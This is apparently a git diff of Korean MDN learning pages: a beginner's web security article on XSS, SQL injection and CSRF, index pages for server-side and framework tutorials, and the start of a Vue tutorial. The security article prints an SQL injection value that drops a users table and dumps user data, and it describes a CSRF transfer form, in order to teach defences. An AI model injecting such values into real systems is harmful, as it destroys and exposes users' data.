웹사이트 보안을 효과적으로 하기 위해서는 웹사이트를 설계하는 과정의 전반에 걸쳐 노력을 기울여야 한다: 웹 애플리케이션에서, 웹 서버 설정에서, 비밀번호를 생성하고 재발급하는 정책에서, 클라이언트측 코드에서 말이다. 이 말이 보안에 필요한 많은 작업들을 당신이 직접 세세하게 해주어야 한다는 불길한 말로 들릴 수 있다. 하지만 다행스럽게도 서버측 웹 프레임워크를 사용한다면, 일반적인 보안 공격에 대해 이미 견고하고 잘 검증 된 방어 메커니즘이 "기본으로" 제공된다. 다른 공격들은 HTTPS를 활성화하는 등의 웹 서버 설정을 통해 방지할 수 있다. 마지막으로, 공개된 취약점 스캐너 도구를 사용하여 알려진 보안 실수들은 잡아낼 수 있을 것이다.

+ +

이 글의 나머지 부분은 몇 가지 일반적인 보안 위협들과 사이트를 보호하기 위해 취할 수 있는 간단한 지침들을 제공한다.

+ +

Note: 입문자를 위한 주제이고, 웹사이트 보안에 대해 처음 생각해보는 이들을 돕기 위해 작성되었다. 완전하지 않으니 유의하길 바란다.

+ +

웹사이트 보안 위협들

+ +

이 부분은 몇가지 일반적인 웹사이트 위협 요소들의 목록과 그 위협들을 어떻게 최소화할 수 있는지를 다룬다. 다음을 상기하며 읽자. 브라우저에서 전달되는 데이터를 신뢰하기만 하고 충분한 피해망상을 가지지 않으면 보안 위협 요소는 꼭 성공한다는 것을 상기해두자.

+ +

사이트 간 스크립팅 (Cross-Site Scripting, XSS)

+ +

XSS는 공격자가 클라이언트 측 스크립트를 웹 사이트에 삽입하여 다른 사용자의 부라우저에서 수행되게 하는 공격의 유형을 말한다. 삽입된 코드는 웹 사이트에서 피해 사용자의 브라우저로 전송이 됨으로 피해 사용자에게 의심받지 않는다. 따라서, 그 삽입된 코드는 피해 사용자의 사이트 권한 쿠키를 공격자에게 보내는 종류의 악성 작업을 수행할 수 있다. 그리고 그것을 전달 받은 공격자는 마치 피해 사용자인 것처럼 위장하여 사이트에 로그인하고 피해 사용자가 할 수 있는 모든 작업을 수행할 수 있다. 가령, 신용 카드 세부 정보에 접근하거나, 연락처 세부 정보를 확인하거나, 암호를 변경하는 작업 등을 수행할 수 있다.

+ +
+

Note: XSS 취약점은 전통적으로 다른 유형보다 일반적이었다.

+
+ +

삽입된 스크립트를 브라우저에 반환하도록 사이트를 속이는 데에는 두 가지 주요 접근방법이 있다. 그것은 반사적 XSS 취약점과 지속적 XSS 취약점이다.

+ + + +

The best defence against XSS vulnerabilities is to remove or disable any markup that can potentially contain instructions to run code. For HTML this includes tags like <script>, <object>, <embed>, and <link>.

+ +
+

The process of modifying user data so that it can't be used to run scripts or otherwise affect the execution of server code is known as input sanitization. Many web frameworks automatically sanitize user input from HTML forms by default.

+
+ +

SQL injection

+ +

SQL injection vulnerabilities enable malicious users to execute arbitrary SQL code on a database, allowing data to be accessed, modified or deleted irrespective of the user's permissions. A successful injection attack might spoof identities, create new identities with administration rights, access all data on the server, or destroy/modify the data to make it unusable.

+ +

This vulnerability is present if user input that is passed to an underlying SQL statement can change the meaning of the statement. For example, consider the code below, which is intended to list all users with a particular name (userName) that has been supplied from an HTML form:

+ +
statement = "SELECT * FROM users WHERE name = '" + userName + "';"
+ +

If the user enters a real name, this will work as intended. However a malicious user could completely change the behaviour of this SQL statement to the new statement below, simply by specifying the "bold" text below for the userName. The modified statement creates a valid SQL statement that deletes the users table and selects all data from the userinfo table (revealing the information of every user). This works because the first part of the injected text (a';) completes the original statement (' is the symbol to deliniate a string literal in SQL).

+ +
SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't';
+
+ +

The way to avoid this sort of attack is to ensure that any user data that is passed to an SQL query cannot change the nature of the query. One way to do this is to escape all the characters in the user input that have a special meaning in SQL.

+ +
+

Note: The SQL statement treats the ' character as the beginning and end of a string literal. By putting a backslash in front we "escape" the symbol (\'), and tell SQL to instead treat it as a character (just part of the string).

+
+ +

In the statement below we escape the ' character. The SQL will now interpret the name as the whole string shown in bold (a very odd name indeed, but not harmful!)

+ +
SELECT * FROM users WHERE name = 'a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t';
+
+
+ +

Web frameworks will often take care of this escaping for you. Django, for example, ensures that any user-data passed to querysets (model queries) is escaped.

+ +
+

Note: This section draws heavily on the information in Wikipedia here.

+
+ +

Cross Site Request Forgery (CSRF)

+ +

CSRF attacks allow a malicious user to execute actions using the credentials of another user without that user’s knowledge or consent.

+ +

This type of attack is best explained by example. John is a malicious user who knows that a particular site allows logged-in users to send money to a specified account using an HTTP POST request that includes the account name and an amount. John constructs a form that includes his bank details and an amount of money as hidden fields, and emails it to other site users (with the Submit button disguised as a link to a "get rich quick" site).

+ +

If a user clicks the submit button, an HTTP POST request will be sent to the server containing the transaction details and any client-side cookies that the browser associates with the site (adding associated site cookies to requests is normal browser behaviour). The server will check the cookies, and use them to determine whether or not the user is logged in and has permission to make the transaction.

+ +

The result is that any user who clicks the Submit button while they are logged in to the trading site will make the transaction. John gets rich!

+ +
+

Note: The trick here is that John doesn't need to have access to the user's cookies (or access credentials) — the user's browser stores this information, and automatically includes it in all requests to the associated server.

+
+ +

One way to prevent this type of attack is for the server to require that POST requests includes a user-specific site-generated secret (the secret would be supplied by the server when sending the web form used to make transfers). This approach prevents John from creating his own form because he would have to know the secret that the server is providing for the user. Even if he found out the secret and created a form for a particular user, he would no longer be able to use that same form to attack every user.

+ +

Web frameworks often include such CSRF prevention mechanisms.

+ +

Other threats

+ +

Other common attacks/vulnerabilities include:

+ + + +

There are many more. For a comprehensive listing see Category:Web security exploits (Wikipedia) and Category:Attack (Open Web Application Security Project).

+ +

A few key messages

+ +

Almost all the exploits in the previous sections are successful when the web application trusts data from the browser. Whatever else you do to improve the security of your website, you should sanitize all user-originating data before it is displayed in the browser, used in SQL queries, or passed to an operating system or file system call.

+ +
+

Important: The single most important lesson you can learn about website security is to never trust data from the browser. This includes GET request data in URL parameters, POST data, HTTP headers and cookies, user-uploaded files, etc. Always check and sanitize all incoming data. Always assume the worst.

+
+ +

A number of other concrete steps you can take are:

+ + + +

Web frameworks can help mitigate many of the more common vulnerabilities.

+ +

Summary

+ +

This article has explained the concept of web security and some of the more common threats that your website should attempt to protect against. Most importantly, you should understand that a web application cannot trust any data from the web browser! All user data should be sanitized before it is displayed, or used in SQL queries or file system calls.

+ +

That's the end of this module, covering your first steps in server-side website programming. We hope you've enjoyed learning the fundamental concepts, and you're now ready to select a Web Framework and start programming.

+ +

{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}

diff --git a/files/ko/learn/server-side/index.html b/files/ko/learn/server-side/index.html new file mode 100644 index 0000000000..4cdb1454cd --- /dev/null +++ b/files/ko/learn/server-side/index.html @@ -0,0 +1,57 @@ +--- +title: Server-side website programming +slug: Learn/Server-side +tags: + - Beginner + - CodingScripting + - Intro + - Landing + - Learn + - Server + - Server-side programming + - Topic +translation_of: Learn/Server-side +--- +
{{LearnSidebar}}
+ +

The Dynamic Websites(동적 웹사이트)  Server-side programming(서버-사이드 프로그래밍) 에 대한 주제는 동적 웹사이트를 생성하는 방법을 보여주는 과목(module) 시리즈이다;  (Dynamic Websites: HTTP 요구(requests)에 응답하여 요구에 맞는 정보를 전달하는 웹사이트) 각 과목들은 서버-사이드 프로그래밍의 포괄적인 소개를 제공한다. 기본적인 어플리케이션들을 생성하기 위한 Django (Python) 와Express (Node.js/JavaScript) 같은 웹 프레임워크를 사용하는 방법에 대한 초보자 레벨(beginner level)의 가이드도 포함한다.

+ +

대부분의 주요 웹사이트들은 요구에 따라 동적으로 다른 데이터들을 보여주기 위해 여러 종류의 서버-사이드 기술을 사용한다. 예를 들어, Amazon에서 이용가능한 물품들이 얼마나 많을까? 그리고 Facebok에 얼마나 많은 게시글이 있을까? 를 상상해보자. 완전히 다른 static pages(정적 페이지)를 사용하여 이런 것들을 보여주는 것은 완전히 비효율적이다, 그래서 대신에 그런 정적인 템플릿(HTML, CSSJavaScript 를 사용하여 구성된 템플릿)을 보여준 다음, 필요할 때마다, 템플릿 안에 보이는 데이터들을 동적으로 업데이트한다. 예) 당신이 Amazon에서 다른 물품을 보고 싶어할 때 물품만 다른 것으로 업데이트한다.

+ +

현대의 웹 개발에서는, 서버-사이드 개발에 대해 배우는 것을 매우 추천한다.

+ +

Learning pathway(학습 경로)

+ +

서버-사이드 프로그래밍을 시작하는 것은 보통 클라이언트-사이드(Client-side) 개발보다 더 쉽다. 왜냐하면, 동적 웹사이트는 비슷한 작업들을 많이 수행하는 경향이 있기 때문이다. (데이터베이스에서 데이터를 검색하고 페이지에 보여주는 것, 유저가 입력한 데이터터가 유효한 지 확인하고 데이터 베이스에 저장하는 것, 로그인한 유저의 권환을 체크하는 것 등) 그리고 이런 작업들과 다른 일반적인 웹 서버 기능을 쉽게 해주는 웹 프레임워크가 있기 때문이다.

+ +

기본적인 프로그래밍 개념에 대한 지식 (또는 특정한 프로그래밍 언어에 대한 지식) 은 유용하나, 필수는 아니다. 비슷하게, 클라이언트-사이드 코딩에 대한 전문지식이 요구되지 않는다, 그러나 기본적인 지식은 클라이언트-사이드 웹 "프론트 엔드(Front End)"를 생성하는 개발자와 일 하는데 도움이 될 것이다.

+ +

"웹을 작동하는 방법"을 이해할 필요가 있다. 다음 주제들을 먼저 읽는 것을 추천한다.

+ + + +

이런 기본적인 이해를 통해, 이 섹션의 과목들을 공부할 준비가 될 것이다.

+ +

Modules(과목)

+ +

이번 주제에는 다음의 과목들을 포함하고 있다. 우선 첫번째 과목을 시작해야한다. 그 후에 두 개의 과목들 중 하나를 선택해 나아가야한다. 두 개의 과목은 가장 대중적인 서버-사이드 언어와 그에 맞는 적절한 웹 프레임워크를 사용하는 방법을 보여준다.

+ +
+
Server-side website programming first steps(서버-사이드 웹사이트 프로그래밍의 첫 단계)
+
이 과목은 서버 기술 문외한을 위한 서버-사이드 웹사이트 프로그래밍에 대한 정보를 제공한다. 또한, 서버-사이드 프로그래밍에 대한 근본적인 질문에 대한 답을 포함하고 있다. (그 질문은 서버가 무엇인지, 클라이언트-프로그래밍과 어떻게 다른 지, 서버가 왜 그렇게 유용한 지에 대한 것이다.) 그리고 몇몇의 더 대중적인 서버-사이드 웹 프레임워크에 대한 개요와 당신의 사이트에 가장 적합한 것을 선택하는 방법에 대한 가이드도 있다. 마지막으로, 웹 서버 보안에 대한 기본적인 섹션도 제공한다.
+
Django Web Framework (Python)
+
Django는 매우 대중적이고 Python으로 쓰여진 매우 중요한 서버-사이드 웹 프레임워크이다. 이 과목은 Django가 좋은 웹 서버 프레임워크인 이유, 개발 환경을 구축하는 방법, 그리고 Django로 일반적인 업무를 수행하는 방법을 설명해준다.
+
Express Web Framework (Node.js/JavaScript)
+
Express는 JavaScript로 쓰여진 대중적인 웹 프레임워크이며, node.js 런 타임 환경에서 호스트된다. 이 과목은 이 프레임 워크의 주요 장점, 개발 환경을 구축하는 법, 일반적인 웹 개발과 배치(deployment) 작업을 수행하는 법에 대해 설명해준다.
+
+ +

다른 주제

+ +
+
Node server without framework(프레임워크 없는 노드 서버)
+
이 글은 프레임워크를 사용하고 싶지 않는 사람들을 위해, 순수한 Node.js로 구성된 단순한 정적 파일 서버를 제공한다.
+
diff --git a/files/ko/learn/skills/index.html b/files/ko/learn/skills/index.html new file mode 100644 index 0000000000..a73870b4a9 --- /dev/null +++ b/files/ko/learn/skills/index.html @@ -0,0 +1,21 @@ +--- +title: 스킬 +slug: Learn/Skills +tags: + - Index +translation_of: Learn +--- +

여러분은 웹에 대하여 학습할 때 수 많은 스킬들을 선택해야 합니다. WebMaker는 초심자들이 기초를 학습하는 로드맵인 Web Literacy Map이라는 기본 스킬들의 목록을 정의합니다.  여기 MDN에서는 웹사이트를 제작하는데 필요한 역량에 초점을 맞추고, 모든 스킬 레벨에 대한 학습을 제공합니다:

+ +
+
Web Mechanics
+
웹 생태계를 이해한다
+
Infrastructure
+
웹의 기술적 스택을 이해한다
+
Coding/Scripting
+
상호적인 웹 경험(Web experience)를 만든다.
+
Design and Accessibility
+
웹 리소스를 이용하여 모두와 효과적으로 의사소통한다
+
Composing for the web
+
웹 콘텐츠를 만들고 관장한다
+
diff --git a/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/index.html b/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/index.html new file mode 100644 index 0000000000..34a443990a --- /dev/null +++ b/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/index.html @@ -0,0 +1,165 @@ +--- +title: Understanding client-side JavaScript frameworks +slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks +translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks +--- +
{{LearnSidebar}}
+ +

자바스크립트 프레임워크는 최신 프론트엔드 웹 개발의 필수 부분으로, 개발자에게 확장 가능한 대화형 웹 응용 프로그램을 구축하기 위한 검증된 도구를 제공합니다. 많은 현대 기업들은 프레임워크를 도구화(tooling)의 표준 부분으로 사용하기때문에, 프론트엔드 개발에는 이제 프레임워크 경험이 필요합니다.

+ +

프론트엔드 개발자 지망생으로서 프레임워크를 배울 때 시작해야 할 부분을 알기가 어려울 수 있습니다. 선택할 수 있는 프레임워크가 너무 많고, 새로운 프레임워크는 항상 나타나고,대부분 유사한 방식으로 작동하지만 다른 일을 합니다. 때문에 프레임워크를 사용할 때 주의해야 할 몇 가지 사항이 있습니다.

+ +

이 글에서는 프레임워크를 배우는데 도움이되는 편안한 출발점을 제공하고자 합니다. 우리는 React/ReactDOM, Vue, 또는 그외 특정 프레임워크에 대해 알아야 할 모든 것을 철저하게 가르치려는것이 아닙니다. 프레임워크 자체 문서들 및 다른 리소스들이 이미 철저하게 가르쳐주고 있습니다. 대신 우리는 다음과 같은, 보다 근본적인 질문에 답하고 지원하려고 합니다.

+ + + +

그 후에, 우리는 몇 가지 다른 프레임워크 선택의 핵심을 다루는 튜토리얼을 제공할 것입니다. 이는 더 심도있게 학습하기에 충분한 맥락과 친숙함을 제공해줄겁니다. 우리는 여러분이 앞으로 나아가 접근성과 같은 웹 플랫폼의 근본적인 모범 사례를 잊지 않는 실용적인 방법으로 프레임워크에 대해 배우고 발전시키기를 바랍니다.

+ +

"클라이언트 사이드 프레임워크 소개"문서로 지금 시작하세요!

+ +

전제조건

+ +

클라이언트 사이드 프레임워크를 배우기 전에 HTML, CSS, JavaScript 와 같은 핵심 웹 언어의 기초를 익혀야 합니다.

+ +

결과적으로 코드는 더욱 풍부해지고 전문적이게 될 것이며, 프레임워크가 구축하고 있는 근본적인 웹 플랫폼 기능을 이해한다면 보다 확실하게 문제를 해결할 수 있을 겁니다.

+ +
+

프론트 개발자가 되고 싶으신가요?

+ +

목표를 달성하는데 필요한 모든 필수 정보가 포함 된 과정을 구성했습니다.

+ +

시작하기

+
+ +

입문 가이드

+ +
+
1. 클라이언트 사이드 프레임워크 소개
+
우리는 이 영역에 대한 일반적인 개요로 프레임워크를 살펴 볼겁니다. 자바스크립트와 프레임워크의 간략한 역사, 프레임워크가 왜 존재하는지와 그들이 우리에게 무엇을 제공하는지, 학습을 프레임워크를 어떻게 선택할지 생각하는 방법, 클라이언트 사이드 프레임워크에 대한 어떤 대안이 있는지 등이 해당합니다.
+
2. 프레임워크 주요 기능
+
각 주요 자바스크립트 프레임워크는 DOM 업데이트, 브라우저 이벤트 처리, 즐거운 개발 경험에 대해 다양한 접근 방식을 갖고 있습니다. 이 글에서는 "4대" 프레임워크의 주요 기능을 살펴보고 프레임워크가 높은 수준에서 작동하는 방식과 프레임워크의 차이점을 살펴봅니다.
+
+ +

리액트 튜토리얼

+ +
+

참조: React/ReactDOM 16.13.1과 create-react-app 3.4.1. 을 사용하여 2020년 5월에 마지막으로 테스트된 튜토리얼입니다.

+ +

우리의 버전에 대해 여러분의 코드를 확인해야 하는 경우, 우리의 todo-react repository에서 샘플 React app 코드의 완성된 버전을 볼 수 있습니다. 라이브 버전을 실행하려면https://mdn.github.io/todo-react-build/을 참조하세요.

+
+ +
+
1. React 시작하기
+
이 글은 리액트에 대한 첫걸음입니다. 우리는 리액트의 배경과 사용 사례에 대한 약간의 세부 사항을 학습합니다. 우리 컴퓨터 로컬에서 기본적인 리액트 툴체인을 설정하고, 간단한 스타터 앱을 만들어 리액트가 어떻게 작동하는지 배웁니다.
+
2. React todo list 시작하기
+
우리가 React에서 개념 증명(proof-of-concept)을 작성하는 임무를 맡았다고 가정 해 봅시다. 사용자가 작업하려는 과제(task)를 추가, 수정, 삭제 혹은 그것들을 삭제하는 대신 완료된 것으로 표시할 수 있는 앱입니다. 이 글에서는 기본 앱 컴포넌트 구조와 스타일을 배치하는 과정, 각각의 컴포넌트를 정의하고 상호작용하는 방법을 설명합니다.
+
3. React app 컴포넌트 세분화
+
이 시점에서 우리의 앱은 단일체(monolith)입니다. 우리는 이것을 관리 가능하고 설명적인 컴포넌트들로 분리해야 합니다. React에는 컴포넌트와 컴포넌트가 아닌것에 대한 엄격한 규칙이 없습니다. 그것은 사용자에게 달려있습니다. 이 글에서는 앱을 컴포넌트로 분해하는 합리적인 방법을 보여줍니다.
+
4. React 상호작용(interactivity): Events 와 state
+
컴포넌트 구성이 완성되면 완전한 정적 UI 에서 실제로 상호작용하고 변화시킬 수 있는 UI로 앱을 업데이트할 차례입니다. 이 글에서는 이벤트와 state에 대해 자세히 알아봅니다.
+
5. React 상호작용(interactivity): 수정, 필터링, 조건부 렌더링
+
리액트 여정이 끝날 무렵(적어도 현재로서는) Todo list 앱의 주요 기능 영역에 마무리 작업을 추가합니다. 여기서는 기존 과제(task)를 편집할 수 있도록 하고, 완료된 과제와 완료되지 않은 과제 모두 필터링 하는 작업이 포함됩니다. 또한 도중에 조건부 UI 렌더링도 살펴보겠습니다.
+
6. React 접근성(Accessibility)
+
이 글에서는 React의 포커스 관리를 포함하여 접근성에 관점을 맞출것입니다. 키보드 전용 및 스크린 리더기 사용자 모두에게 유용성을 개선하고 혼동을 줄일 수 있습니다.
+
7. React 리소스(resources)
+
우리의 마지막 글은 학습을 계속하기 위해 사용할 수 있는 React 리소스 목록을 제공합니다.
+
+ +

Ember tutorials

+ +
+

참조: Ember/Ember CLI 3.18.0을 사용하여 2020년 5월에 마지막으로 테스트된 튜토리얼입니다.

+ +

우리의 버전에 대해 여러분의 코드를 확인해야 하는 경우, 우리의 ember-todomvc-tutorial repository에서 샘플 Ember app 코드의 완성된 버전을 볼 수 있습니다. 라이브 버전을 실행하려면 https://nullvoxpopuli.github.io/ember-todomvc-tutorial/ 을 참조하세요. (여기에는 튜토리얼에서 다루지 않은 몇 가지 기능도 포함됩니다.)

+
+ +
+
1. Ember 시작하기
+
첫 번째 Ember 글에서는 Ember 의 작동방식과 유용한 기능에 대해 살펴봅니다. 로컬에 Ember 툴체인을 설치하고, 샘플 앱을 만들어 개발 준비를 위한 초기 설정을 수행합니다.
+
2. Ember app 구조와 컴포넌트화
+
이 글에서는 TodoMVC Ember app의 구조를 설계하는 방법에 대해 알아봅니다. HTML을 추가하고, HTML 구조를 컴포넌트로 나눕니다.
+
3. Ember 상호작용(interactivity): Events, classes, state
+
이제 앱에 상호작용하는 기능을 추가하여 새로운 할일(todo) 항목을 추가하고 표시할 수 있습니다. 그 과정에서 Ember 이벤트를 사용하는 방법을 살펴보겠습니다. 상호작용하는 기능을 제어하기 위해 자바스크립트 코드를 포함하는 컴포넌트 클래스를 만들고, 앱의 데이터 상태(state)를 추적하는 서비스를 설정합니다.
+
4. Ember 상호작용: 푸터 기능, 조건부 렌더링
+
이제 앱에서 푸터 기능을 시작할 차례입니다. 아직 완료하지 않은 할일(todo) 항목의 수를 카운트하고, 완료된 할일(체크표시한 체크박스)에 스타일을 올바르게 적용합니다. 또한 "Clear completed" 버튼을 연결합니다. 이 과정에서 템플릿에서 조건부 렌더링을 사용하는 방법을 배웁니다.
+
5. Ember 라우팅
+
이 글에서는 라우팅 또는 URL기반 필터링에 대해 설명합니다. 이를 사용하여 todo의 세 가지 뷰("All", "Active", "Completed")를 고유한 URL로 제공합니다.
+
6. Ember 리소스와 문제해결
+
마지막 Ember 글은 학습을 진행하는데 사용할 수 있는 리소스 목록, 유용한 문제 해결(troubleshooting)에 관한 내용, 그외 정보를 제공합니다.
+
+ +

Vue tutorials

+ +
+

참조: Vue 2.6.11을 사용하여 2020년 5월에 마지막으로 테스트한 튜토리얼입니다.

+ +

우리의 버전에 대해 여러분의 코드를 확인해야 하는 경우, 우리의 todo-vue repository에서 샘플 Vue app 코드의 완성된 버전을 볼 수 있습니다. 라이브 버전을 실행하려면 https://mdn.github.io/todo-vue/dist/ 를 참조하세요.

+
+ +
+
1. Vue 시작하기
+
이제 세 번째 프레임워크 뷰를 소개합니다. 이 글에서는 Vue의 배경을 약간 살펴보고, 설치 방법과 새 프로젝트를 만드는 방법에 대해 알아봅니다. 전체 프로젝트의 HLS(high-level structure) 와 각각의 컴포넌트를 공부합니다. 또한, 프로젝트를 로컬에서 실행하는 방법과 예제 작성을 시작할 준비를 합니다.
+
2. 첫 번째 Vue 컴포넌트 만들기
+
이제 Vue에 대해 자세히 살펴보고 우리만의 커스텀 컴포넌트를 만들겠습니다. Todo list의 각 항목을 나타내는 컴포넌트를 만드는 것으로 시작합니다. 그 과정에서, 다른 컴포넌트 내에서 컴포넌트를 호출하고, props(properties)를 통해 데이터를 전달하고 데이터 상태를 저장하는 등 중요한 개념을 학습합니다.
+
3. Vue 컴포넌트 리스트 렌더링
+
이 시점에서 우리는 충분히 잘 작동하는 컴포넌트를 얻었습니다. 이제 앱에 여러 ToDoItem 컴포넌트를 추가할 준비가 되었습니다. 이 글에서는 App.vue 컴포넌트에 todo 항목 데이터 셋을 추가하는 방법을 살펴보고, v-for 지시문(directive)을 사용하여 ToDoItem 컴포넌트를 반복하여 출력합니다.
+
4. 새로운 todo form추가: Vue events, methods, models
+
이제 샘플 데이터와 각 비트의 데이터를 가져와서 앱의 ToDoItem 내에 렌더링하는 루프가 준비되었습니다. 다음으로 필요한 것은 사용자가 todo 항목을 앱에 입력할 수 있게 하는 기능입니다. 이를 위해 text <input>, 데이터가 제출될 때 발생하는 이벤트, 데이터 제출 시 데이터를 추가하고 목록을 다시 렌더링하기 위한 방법, 데이터를 제어하는 모델이 필요합니다. 이것이 이 글에서 다룰 내용입니다.
+
5. Styling Vue components with CSS
+
마침내 우리 앱이 좀 더 멋지게 보입니다. 이 글에서는 CSS를 사용하여 Vue 컴포넌트를 스타일링하는 다양한 방법을 살펴봅니다.
+
6. Vue computed properties 사용하기
+
이 글에서는 computed properties 라고 불리는 Vue 기능을 사용하여 완료된 todo 항목 수를 표시하는 카운터를 추가합니다. 이들은 메서드와 유사하게 작동하지만 종속성 중 하나가 변경될 때만 다시 실행됩니다.
+
7. Vue 조건부 렌더링: 이미 존재하는 todo 항목 편집
+
이제 우리가 아직 놓치고 있는 주요 기능 중 한 기능의 주요한 부분 중 하나를 추가 할 차례입니다. 이를 위해 Vue의 조건부 렌더링 기능 v-if 와 v-else 를 활용하여, 이미 존재하는 todo 항목 view 와 todo 항목 레이블을 업데이트 할 수 있는 편집 view 간에 전환할 수 있습니다. 또한 todo 항목들을 삭제하는 기능을 추가하는 방법도 살펴봅니다.
+
8. Vue refs를 통한 포커스 관리
+
이제 거의 다 만들었습니다. 마지막으로 살펴볼 기능은 포커스 관리와 앱의 키보드 접근성을 향상시키는 방법입니다. Vue refs를 사용하여 이를 처리하는 방법을 살펴보겠습니다. ref는 가상 DOM 아래의 기본 DOM 노드에 직접 접근하거나 한 컴포넌트에서 하위 컴포넌트의 내부 DOM 구조로 직접 접근할 수 있는 고급 기능입니다.
+
9. Vue resources
+
이제 Vue에 대한 학습을 마무리 할 것입니다. 학습을 진행하는데 사용할 수 있는 리소스 목록과 유용한 팁이 있습니다.
+
+ +

Svelte tutorials

+ +
+

참조: Svelte 3.24.1 을 사용하여 2020년 8월에 마지막으로 테스트된 튜토리얼입니다.

+ +

코드를 우리 버전과 비교하여 확인해야 하는 경우, mdn-svelte-tutorial repo에서 각각의 문서 뒤에 있어야 하는 샘플 Svelte 앱 코드의 완성된 버전을 볼 수 있습니다. 라이브 버전을 실행하려면 Svelte REPL 을 참조하세요 https://svelte.dev/repl/378dd79e0dfe4486a8f10823f3813190?version=3.23.2.

+
+ +
+
1. Svelte 시작하기
+
이 문서에서는 Svelte framework에 대한 간략한 소개를 제공합니다. Svelte의 작동 방식과 지금까지 살펴본 나머지 프레임워크 및 도구와 차별화되는 점을 살펴보겠습니다. 그 다음 개발 환경 구성하기, 샘플 앱 만들기, 프로젝트 구조 이해하기, 로컬에서 실행하기와 프로덕션 용으로 빌드하는 방법을 알아보겠습니다.
+
2. Svelte Todo list app 시작하기 
+
이제 Svelte가 작동하는 방식에 대한 기본적인 이해를 마쳤으므로, 예제 앱(todo list) 빌드를 시작하겠습니다. 이 문서에서는 먼저 앱에서 구현해야할 기능을 살펴보고, 그 다음 Todos.svelte 컴포넌트를 만들어 정적 마크업과 스타일을 배치합니다. 그리고 To-Do list 앱 기능 개발을 시작할 준비를 합니다. 이 내용은 다음 문서에서 계속 설명하겠습니다.
+
3. Svelte의 동적 동작: 변수와 props 작업
+
이제 마크업과 스타일이 준비되었으므로 Svelte To-Do list 앱에 필요한 기능 개발을 시작할 수 있습니다. 이 문서에서는 변수와 props를 사용하여 앱을 동적으로 만듭니다. 할일(todo)을 추가하거나 삭제하고, 완료로 표시하고, 상태별로 필터링 할 수 있습니다.
+
4. Svelte app 컴포넌트화
+
이 문서의 핵심 목표는 앱을 관리 가능한 컴포넌트로 나누고, 이들간에 정보를 공유하는 방법을 살펴 보는 것입니다. 앱을 컴포넌트화 하고 기능을 추가하여 기존 컴포넌트를 업데이트 할 수 있도록 합니다.
+
5. 향상된 Svelte: 반응성, 생명주기, 접근성
+
이 문서에서는 앱의 최종 기능을 추가하고 앱을 더욱 컴포넌트화 합니다. 객체와 배열의 업데이트와 관련된 반응성(reactivity) 이슈를 처리하는 방법을 배웁니다. 일반적인 함정을 피하기 위해 우리는 Svelte의 반응성 시스템을 좀 더 깊이 공부해야 합니다. 또한 접근성(accessibility ) 관련 이슈를 비롯해 좀 더 많은 내용을 해결하는 방법도 살펴보겠습니다.
+
6. Svelte stores 사용하기
+
이 문서에서는 Svelte에서 상태 관리를 처리하는 또 다른 방법을 보여줍니다. 스토어(Stores). 스토어는 값을 갖고있는 글로벌 데이터 저장소입니다. 컴포넌트는 스토어를 구독하고 값이 변경되면 알림을 받을 수 있습니다.
+
7. Svelte의 타입스크립트 지원
+
이제 Svelte 애플리케이션에서 타입스크립트를 사용하는 방법을 배웁니다. 먼저 타입스크립트가 무엇이며 어떤 이점이 있는지 알아봅니다. 그 다음 타입스크립트 파일과 함께 작동하도록 프로젝트를 구성하는 방법을 살펴봅니다. 마지막으로 앱을 검토하여 타입스크립트 기능을 최대한 활용하기 위해 어떤 수정을 해야 하는지 살펴보겠습니다.
+
8. 배포(Deployment)와 다음단계
+
이 마지막 문서에서는 애플리케이션을 배포하고 온라인으로 가져오는 방법을 살펴봅니다. 또한 Svelte 학습 여정을 계속하기 위해 알아야 할 몇 가지 리소스를 공유합니다. 
+
+ +

Which frameworks did we choose?

+ +

우리는 React/ReactDOM, Ember, Vue의 세 가지 주요 프레임워크에 초점을 맞춘 가이드와 시작하는 글 모음을 함께 게시하고 있습니다. 여기에는 여러가지 이유가 있습니다.

+ + + +

우리는 이것을 미리 말하고 싶습니다. 위 프레임워크들이 최고라고 생각하거나 어떤 식으로든 보증되기 때문에 선택하지 않았습니다. 우리는 단지 이 프레임워크들이 위의 기준에서 높은 점수를 얻었다고 생각합니다.

+ +

이 글을 처음 게시할 때 더 많은 프레임워크가 포함되기를 원했지만, 더 오래 지연시키지 않고 내용을 릴리즈 한 다음에 나중에 프레임워크 가이드를 더 추가하기로 결정했습니다. 이 컨텐츠에 좋아하는 프레임워크가 표시되지 않았고, 이를 변경하고 싶다면 언제든지 저희와 논의하시기 바랍니다. Matrix나 Discourse를 통해 연락하거나 mdn-admins list로 메일을 보내셔도 됩니다.

diff --git a/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/vue_first_component/index.html b/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/vue_first_component/index.html new file mode 100644 index 0000000000..2b2e70e8f6 --- /dev/null +++ b/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/vue_first_component/index.html @@ -0,0 +1,384 @@ +--- +title: 첫 번째 Vue 컴포넌트 만들기 +slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component +translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}
+ +

이제 Vue에 대해 더 자세히 알아보고 직접 커스텀 컴포넌트를 만들어 볼 시간입니다. 먼저,  Todo 리스트의 각 항목을 표현하는 컴포넌트를 만들어 보면서 몇 가지 중요한 개념을 배우겠습니다. 컴포넌트 내부에서 다른 컴포넌트 호출하기, props를 통해 데이터 넘겨주기, 데이터 상태 저장하기 등을 배울 것입니다. 

+ +
+

Note: 필요하다면 todo-vue repository 에서 최종 샘플 앱 코드를 확인할 수 있습니다. 완성된 앱의 모습은 https://mdn.github.io/todo-vue/dist/을 참고하세요.

+
+ + + + + + + + + + + + +
사전 요구 사항: +

코어 HTML, CSSJavaScript에 익숙함, terminal/command line에 대한 지식

+ +

